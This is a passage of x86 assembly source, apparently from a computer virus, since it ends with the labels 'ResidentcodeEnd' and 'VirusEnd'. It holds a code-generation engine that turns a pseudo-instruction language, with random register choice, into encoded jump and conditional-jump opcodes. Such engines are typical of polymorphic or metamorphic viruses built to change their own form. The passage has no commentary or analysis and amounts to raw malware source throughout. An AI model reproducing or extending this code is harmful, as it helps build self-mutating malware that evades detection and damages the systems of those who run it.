mov [InstructionLength+ebp],5
jmp OutputInstruction
DefaultProc1:
push ebx
call ReadOperands
call SetDirectionBit
call FetchOpcode
DefaultProc1Label1:
pop ebx
add ebx,eax
movzx ecx,byte ptr [ebx]
inc ecx
dec eax
jnz Label41
mov ch,byte ptr [ebx+2]
shl ch,3
Label41:
or [Instruction+ebp],ecx
inc [InstructionLength+ebp]
dec eax
jz CopyDataToInstruction
call FixAddresses
jmp OutputInstruction
CopyDataToInstruction:
call GetOther
lea ebx,[Instruction+ebp]
add ebx,[InstructionLength+ebp]
mov [ebx],eax
add [InstructionLength+ebp],4
jmp OutputInstruction
;-JMP-------Jump
;Near,8-bit |1|1|1|0|1|0|1|1| 8-bit Displacement
;Near,Direct |1|1|1|0|1|0|0|1| Full Displacement
;Near,Indirect |1|1|1|1|1|1|1|1| |mod|1|0|0| R/M |
JmpProc:
call GetOperand
xor ecx,ecx
test ebx,ebx
jz JumpIsIndirect
mov ebx,[eax*4+RegistersBitValue+ebp]
mov al,0ffh
stosb
mov eax,ebx
or eax,00100000b
stosb
ret
JumpIsIndirect:
mov ebx,[SavedOffsets+ebp+eax]
sub ebx,edi
add ebx,4
test ebx,0fffffff8h
jz OutPutSmallJump
ret
JxxProc:
movzx edx,byte ptr [ebx]
push edx
call GetOperand
pop edx
mov ebx,[SavedOffsets+ebp+eax]
sub ebx,edi
add ebx,4
test ebx,0fffffff8h
jz OutPutSmallJump
mov al,0fh
stosb
mov al,10000000b
or eax,edx
stosb
sub ebx,6+4
mov eax,ebx
stosd
ret
OutPutSmallJump:
mov al,01110000b
or eax,edx
stosb
mov eax,ebx
sub eax,2+4
stosb
ret
ret
GetOperand:
xor edx,edx
mov al,byte ptr [esi]
cmp al,'['
setz dl
mov ecx,edx
add esi,edx
shl edx,3
mov ebx,edx ; ebx = 0 or 8
lodsb
cmp al,'S' ; A variable
jnz Label53
mov edx,[PointerToDataSlack+ebp]
lodsd
mov eax,[edx+eax*4]
add esi,ecx
xor edx,edx
ret
Label53:
cmp al,'R'
setz dl
shl edx,2
add ebx,edx ; ebx = ebx + (0 or 4)
test edx,edx ; is value
jz ReadValue
xor eax,eax
lodsb ; read register
cmp al,'X'
jz GetRandomReg
sub eax,'0'
add esi,ecx
ret
ReadValue:
lodsd
add esi,ecx
ret
Return:
ret
AsciiToNum:
xor eax,eax
lodsb
sub eax,'0'
ret
ResidentcodeEnd:
VirusEnd:
_rsrc ends
end Main